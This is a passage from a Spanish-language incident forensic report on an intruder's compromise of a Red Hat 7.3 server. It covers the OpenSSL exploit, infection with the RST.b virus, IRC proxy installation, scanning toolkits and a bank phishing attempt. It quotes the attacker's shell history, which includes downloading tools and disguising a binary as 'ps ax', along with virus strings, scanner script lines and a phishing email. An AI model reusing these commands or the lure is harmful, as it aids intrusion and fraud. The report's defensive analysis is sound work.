20 Y[_^ZY[ ZY[= [SQRVW tbsqr ZY[= ZY[= [X_^ZY[ DOM` /bin/sh xxxxyyyyzzzz Y[XXXXXX GET /~telcom69/gov.php HTTP/1.0 Despues de revisar varios archivos que aparecen modificados a partir del 29 encontramos que el virus se instalo en prácticamente la mayoría de los ejecutables de uso común del sistema, algunos de los archivos infectados fueron netstat, mt, mktemp, mknod, mkdir, mail, ls, ln, hostname, de, df, dd, cpio, chown y chgrp. Un ejercicio adicional consistió en buscar dentro de hda3.dd evidencia del exploit usado para obtener acceso, esto debido a que probablemente y por el perfil del atacante (Que anteriormente supusimos), es factible que vaya a intentar usar nuestro host como plataforma para lanzar nuevos ataques, basados en el documento de Keven Murphy buscamos por la dirección de correo del autor (Solar Eclipse) la linea ejecutada fue la siguiente: #./parser.pl "solareclipse" /media/cdrecorder/hda6.dd solar.txt Y encontramos una linea del exploit: * by Solar Eclipse <solareclipse@phreedom.org> Resta poco por hacer ahora que ya tenemos la tesis sobre el ataque, finalmente analicemos la actividad del atacante para los días siguientes (30 y 31 de Enero). Para el día 30 solo encontramos actividad a las 4 AM, y esta fue genera probablemente por el cron de la maquina. Para el día 31 tenemos actividad en psybnc a las 3:12: 31 ene 3:12 /var/tmp/psybnc/user1.log 31 ene 3:12 /var/tmp/psybnc/. 31 ene 3:12 /var/tmp/psybnc/scripts.. 31 ene 3:12 /var/tmp/psybnc/help.. 31 ene 3:12 /var/tmp/psybnc/menuconf.. 31 ene 3:12 /var/tmp/psybnc/tools.. 31 ene 3:12 /var/tmp/psybnc/motd.. 20

21 31 ene 3:12 /var/tmp/psybnc/log.. 31 ene 3:12 /var/tmp psybnc El archivo /var/tmp/psybnc/log/psybnc.log nos muestra que el IRC Proxy Server arranco con fallas: Sat Jan 29 15:46:42 :Listener created : port Sat Jan 29 15:46:42 :Error Creating Socket Sat Jan 29 15:46:42 :Can't create listening sock on host * port Sat Jan 29 15:46:42 :Can't set a suitable Host for DCC Chats or Files. Please de fine at least one Listener for an IP. Sat Jan 29 15:46:42 :psybnc2.2.1-cbtitlddmsnp started (PID :24907) A las 4:02 encontramos otra serie de archivos modificados, entre ellos el rpmpkgs, ahora si podemos desechar totalmente la idea de realizar un análisis de verificación de firmas. 31 ene 4:02 /var/lib/logrotate.status 31 ene 4:02 /var/lib/rpm 31 ene 4:02 /var/lib/rpm. 31 ene 4:02 /var/log rpmpkgs 31 ene 4:02 /var/log. 31 ene 4:02 /var/spool/anacron/cron.daily 31 ene 4:02 /var/log 31 ene 4:12 /var/lib/slocate 31 ene 4:12 /var/lib/slocate/slocate.db 31 ene 4:12 /var/lib/slocate. A las 11:54 aparecen dos nuevas herramientas w00t que trae una serie de exploits y backdoors, y selena que trae el escáner de puertos pscan2 y unas utilerías para escanear vulnerabilidades, este paquete también estaba infectado con el virus RST.b o alguna de sus variantes: /bin/sh xxxxyyyyzzzz 21

22 Y[XXXXXX GET /~telcom69/gov.php HTTP/ ene 11:54 /var/tmp/w00t.. 31 ene 11:54 /var/tmp/psybnc.. 31 ene 11:54 /var/tmp/selena.. 31 ene 11:54 /var/tmp/selena/ssvuln 31 ene 11:54 /var tmp 31 ene 11:54 /var/tmp. Y por consecuencia se da la infección de más programas dentro de la maquina: 31 ene 12:03 /bin/setserial 31 ene 12:03 /bin/ping 31 ene 12:03 /bin/netstat 31 ene 12:03 /bin/mt 31 ene 12:03 /bin/mktemp 31 ene 12:03 /bin/mknod 31 ene 12:03 /bin/mkdir 31 ene 12:03 /bin/mail 31 ene 12:03 /bin/ls 31 ene 12:03 /bin/ln 31 ene 12:03 /bin/hostname 31 ene 12:03 /bin/ed 31 ene 12:03 /bin/df 31 ene 12:03 /bin/dd 31 ene 12:03 /bin/cpio 31 ene 12:03 /bin/chown 31 ene 12:03 /bin/chgrp Mas actividad de selena, y nuevamente un archivo.bash_history. 31 ene 12:03 /var/tmp/selena/sslex 31 ene 12:03 /var/tmp/selena/ ssl.out 31 ene 12:03 /var/tmp/selena/ssx 31 ene 12:03 /var/tmp/selena/sslx 31 ene 12:03 /var/tmp/selena/ssl 31 ene 12:03 /var/tmp.bash_history 22

23 Correos en cola, para root: 31 ene 13:31 /var/spool/mqueue/dfj0vjv0a ene 13:31 /tmp/logwatch.xxlltdiy.. 31 ene 13:31 /tmp/makewhatisnuab1j.. 31 ene 13:31 /tmp/makewhatislzwx4z.. 31 ene 13:31 /tmp. 31 ene 13:31 /tmp 31 ene 14:59 /var/spool/mqueue/qfj0vjv0a ene 15:20 /var/spool/mail/root 31 ene 15:20 /var/spool/mail. 31 ene 15:20 /var/spool/mqueue. 31 ene 15:20 /var/spool/mqueue 31 ene 15:20 /var/spool/mail 31 ene 15:20 /etc/mail/statistics Y finalmente la ejecución del fichero /etc/mrtg: 31 ene 15:25 /etc/mrtg mrtg.ok 31 ene 15:25 /etc/mrtg. 31 ene 15:25 /etc mrtg Analizaremos ahora la actividad en el último.bash_history que encontramos, anexo comentarios en rojo: w Verifica la identidad del usuario con el que se encuentra cd /var/tmp Se cambia al directorio /var/tmp y lista el contenido, note que nuevamente ejecuta ls -sa y dir, suponemos que se trata del mismo atacante. ls -sa dir rm -rf /tmp/* Elimina el contenido de /tmp/ y se cambia al directorio /var/log cd /var/log dir exit Intenta abandonar el shell con el que se encontraba y verifica la identidad del usuario nuevamente. id Se cambia a /var/tmp y lista el contenido cd /var/tmp 23

24 ls dir Descarga woot.tgz del que anteriormente hablamos, lo desempaqueta y ejecuta el asmb que es un escáner y exploit de vulnerabilidades de SAMBA para redes clase B wget tar xvfz woot.tgz cd w00t./asmb Se cambia a /dev/shm y descarga psyz.tar.gz que es otro paquete del psybnc, como vimos anteriormente parece que tuvo problemas para arrancarlo. ls dir cd /dev/shm dir wget tar xzvf psyz.tar.gz rm -rf psyz.tar.gz Cambia de opinión y elimina el paquete que acaba de descargar, mejor baja un archivo preconfigurado de psybnx, oculta el ejecutable como ps ax e inicia el servicio de psybnc mv psybnc local cd local rm -rf psybnc.conf* wget mv psybnc "ps ax" export PATH="." "ps ax" Regresa a /var/tmp y elimina el anteriormente descargado woot.tgz, nuevamente intenta instalar el psybnc.tgz cd var/tmp dir rm -rf woot.tgz dir wget tar xvfz psybnc.tgz cd psybnc./psybnc w exit w Aquí finalmente descarga selena.tgz y ejecuta assl. ps aux cd /var/tmp ls dir 24

25 wget tar xvfz selena.tgz cd selena./assl Cuando echamos un ojo a assl resulta ser un shell script que ejecuta una de las variantes de exploits que se aprovechan de la vulnerabilidad de Apache OpenSSL y realiza escaneos masivos sobre redes clase b, utiliza el escaner de puertos pscan2 para obtener informacion acerca del puerto 443 y luego ejecuta una variante del exploit openssl-too-open para obtener acceso, existe una gran posibilidad de que este haya sido el mismo exploit usado para obtener acceso a nuestro Host. a continuación unas líneas obtenidas de el: echo "# scanner for the apache 0p3nSSL vuln by insider" echo "# PRIVATE PRIVATE PRIVATE" echo "# DON'T DISTRIBUTE" echo " " echo "# starting scan..."./pscan2 $1 443 Finalmente echamos un vistazo a la que quedo en la cola de correo (En un análisis forense en forma, seria bastante conveniente solicitar permiso por escrito para ello, recordemos que el correo electrónico es privado), ahí encontramos 4 archivos 2 vacíos, 1 es una notificación de un correo no entregado a yahoo, y el otro es el correo, se trata de un intento de Pishing por parte del atacante hacia mailpentruspam@yahoo.com para obtener información de una cuenta bancaria, este texto fue encontrado en el correo: <p>dear Washington Mutual customer,</p> your </p> <p>wamu is committed to maintaining a safe environment for its community of buyers and sellers.protecting the security of account and of the Washington Mutual network is our primary concern. In this respect,as a preventative measure,we have recently revised your account information data in order to assure ourselves that the most advanced security techniques in the world and our anti-fraud teams regularly screen the WAMU system for any unusual activity.as our part of the job is done, there is only one step further for you to take, so that we can thoroughly guarantee our services. Therefore, if you are the rightful holder of the account please fill in the form below so that we can check the compliance with our database. 25

26 Como ejercicio adicional buscamos evidencia para el mes de Febrero con nuestro script usando la linea./parser.pl "Feb" RTF/hda3.dd/hda3.dd Feb.txt. Al no encontrar nada corroboramos que la actividad finalizo el 29 de Enero y damos por concluida esta parte del análisis. Finalmente para corroborar nuestra tesis sobre el ataque usamos las herramienta de Sleuthkit y Autopsy. Dichas herramientas pueden ser obtenidas de Autopsy proporciona una herramienta grafica mediante un browser que facilita el análisis pro bloques de las imágenes, en el sitio de sleuthkit se encuentran guías detalladas de la instalación de las herramientas, nuevamente basados en la idea de que este no debe ser un manual de instalación sino una referencia para el análisis se explica a grosso modo el uso de autopsy, y se deja referencia para quien quiera ahondar en el tema. Procedamos pues con el análisis, arrancamos autopsy con el comando./autopsy, ahora podemos abrir una ventana del navegador de Internet y ver autopsy en el URL en dicha ventana abrimos un nuevo caso con el botón New case : Llenamos el formulario y guardamos el caso, posteriormente abrimos el caso con el botón Open case y seleccionamos la opción para agregar un nuevo host, dejamos la Zona horaria en blanco ya que 26

27 como vimos anteriormente esta corresponde a la ciudad de México y coincide con la instalada en nuestro laboratorio: Una a una agregamos las imágenes al caso, cuidando que el tipo coincida linux-ext3 como vimos anteriormente, y cuidando que el 27

28 punto de montaje sea el que encontramos en el fstab en un principio, a excepción de hda6.dd que como habíamos visto corresponde a memoria swap por lo que no es necesario especificar punto de montaje. Una vez montadas todas las imágenes podemos navegar por el sistema de archivos simplemente seleccionando la imagen y usando la utilería File análisis, por ejemplo a navegar hacia /var/log en hda3.dd vemos la existencia de los logs del sistema: 28

29 Usamos la utilería Time Line análisis para generar una linea de tiempo sobre el sistema, a continuación se exponen algunos detalles de dicha linea de tiempo, intercalo comentarios en rojo: Se detiene el servicio de nscd Sat Jan :14:57 0.a. l/-rw root root /etc/rc.d/rc2.d/k74nscd (deleted) 0.a. -rw root root <hda1.dd-dead-18398> 0.a. -/-rw apache root /var/run/httpd.mm.723.sem 0.a. -rw root root <hda1.dd-dead-18399> 0.a. l/-rw root root /etc/rc.d/rc5.d/k74nscd (deleted) Sat Jan :15:41 0.a. -rwxr-xr-x apache apache 959 <hda1.dd-dead-959> El usuario apache intenta editar el archivo sshd_config, lo que refuerza la teoría de que el atacante ingreso con dicho usuario 0.a. -/-rwxr-xr-x apache apache 959 /etc/ssh/sshd_config~ (deleted) Sat Jan :16: m.c d/drwxr-xr-x root root /dev m.c -/-rwxr-xr-x root root /bin/gawk Evidencia de la infección por el virus RST.b 0 mac -/ root root /dev/hdx1 0 mac -/ root root /dev/hdx m.c -/-rwxr-xr-x root root /bin/gawk Evidencia de la creación del usuario weed. Sat Jan :17:13 24 mac -/-rw-r--r-- root root

30 /home/weed/.bash_logout /home/weed 4096 m.c d/drwx root root Esta ves autopsy no nos permitió rescatar ningún archivo sin embargo y como vemos los eventos de la linea de tiempo generada van coincidiendo con nuestro análisis, toda la linea fue analiza pero por cuestiones de espacio no se incluyo todo. Dada la evidencia consideramos el análisis concluyente y damos por cerrado el caso. Se adjunta en los archivos de apoyo la linea de tiempo generada. Pasaremos ahora al resumen y exposición de resultados. 3.- Resumen y resultados. 3.1 Resumen y resultados. Los resultados expuestos y la cronología del ataque se basan en la hora del Host atacado. Dicho Host tenia como zona horaria America/Mexico_City. El 29 de Enero del año en curso se presento un ataque en contra de la maquina cuyo perfil se describe a continuación: Nombre:Finanzas IP: y Sistema Operativo: Red Hat Linux release 7.3 (Valhalla) -Dicha maquina había sido reiniciada por ultima vez el el 20 de Enero alrededor de las 16:33 y estuvo expuesta a una serie de ataque de diccionario a partir de esa fecha, dichos ataques no rindieron fruto. -El 29 de Enero a las 15:14 aprovechándose de una vulnerabilidad en el OpenSSL 0.9.6b combinado con Apache un atacante usando la IP perteneciente a Altaway un proveedor de Hosting de Reno Nevada en los Estados Unidos, logra un introducirse en el equipo, usando un exploit que se aprovecha de una vulnerabilidad en openssl a través de Apache Web Server y le permite obtener un shell como el usuario apache que es quien ejecutaba el Web Server. 30

31 -A las 15:16 del mismo día, usando herramientas contenidas en el paquete za.tgz (zbind, zero, etc), el atacante obtiene una root shell. -A partir de las 15:16 y hasta las 15:46 aproximadamente, el atacante estuvo en el equipo con perfil de súper usuario, descargo herramientas que le permitirían mantener el acceso remoto al equipo (crk.tar.gz, https, sc.tgz, pico) una de esas herramientas (crk.tar.gz) pareciera haber estado contaminada con una variante del virus RST.b por lo que infecta el equipo. Adicionalmente el atacante crea y borra un usuario weed con perfil de superusuario (Probablemente con el mismo propósito). -De 15:46 a 17:53 el atacante instala un IRC Proxy Server llamado psybnc, sin embargo aparentemente no logra hacerlo funcionar, no se tiene más indicios de actividad del atacante para ese día - No se tienen indicios de actividad del atacante para el día 30 de Enero. - El día 31 de Enero a las 3:12 el atacante entra nuevamente y reintenta con el psybnc, en archivo de configuración del psybnc se encontró el nombre Angel. -Entre 4:02 y 4:12 se modifican una serie archivos en la maquina entre ellos rpmpkgs que contiene las firmas de los programas instalados en la maquina, probablemente para eludir el análisis forense. - Entre 11:52 y 13:31 el atacante descarga dos herramientas mas selena.tgz y woot.tgz, estos set de herramientas permitieron al atacante convertir el Host en una plataforma para lanzar nuevos ataques a redes clase B, los ataques intentados eran mediante el exploit de la vulnerabilidad de Apache + OpenSSL 0.9.6b el primero y vulnerabilidades en samba el segundo. El archivo selena.tgz contenía una variante del exploit openssl-too-open, probablemente la misma usada para vulnerar nuestro Host. - Entre 13:31 y 15:20 realiza un intento de Pishing para obtener información de una cuenta bancaria. No hay más actividad del atacante o del Host. 31

32 3.2 Perfil y motivación del atacante. La evidencia encontrada nos permite clasificar al atacante, creamos una categoría y dividimos a los Hackers según sus habilidades y conocimiento en Hackers de Elite, Hackers y Script Kiddie's, siendo los primeros los que tienen el nivel mas elevado y los últimos el nivel mas bajo, nuestro atacante caería en el nivel de Script Kiddie, el atacante utilizo siempre herramientas disponibles en la red, de las cuales la mayoría tenían firmas ya conocidas, durante el ataque mostró un comportamiento errático (Por ejemplo instalo de manera fallida varias herramientas para mantener el acceso remoto cuando solo una le hubiese sido suficiente), contamino el equipo con una variante del virus RST.b probablemente de manera no intencional (Simplemente no sabia que estaba haciendo) y problemente haya contaminado también el equipo del cual lanzo el ataque, dejo huellas claras de su paso por la maquina, y se arriesgo bastante para hacer funcionar un servidor Proxy para IRC, finalmente hizo de la maquina una plataforma para lanzar nuevos ataques. Este tipo de atacantes no tienen una motivación especifica, simplemente es el deseo de reconocimiento por parte de la comunidad Underground a la que pertenece y la emoción que le pudo haber producido el realizar el ataque. Es evidente que nuestro atacante hubiera atacado cualquier otra maquina que se topara y que estuviese vulnerable. Lamentablemente se topo con nuestra maquina. 3.3 Recomendaciones y conclusiones. El ataque tuvo éxito debido a que no se tuvo el cuidado adecuado para con la maquina. Se recomienda mantener el sistema actualizado, a la fecha existen parches y upgrades que permiten eliminar la vulnerabilidad que aquí fue explotada, un correcto manejo de las actualizaciones del sistema le permitirán mantener un sistema estable y más seguro. Existen medidas que hubiesen ayudado a detectar con tiempo el ataque, una buena medida seria tener un sistema de detección de intrusos (IDS), existen algunos gratuitos como SNORT actualmente existen firmas para este tipo de ataques. también es conveniente mantener un monitoreo de los 32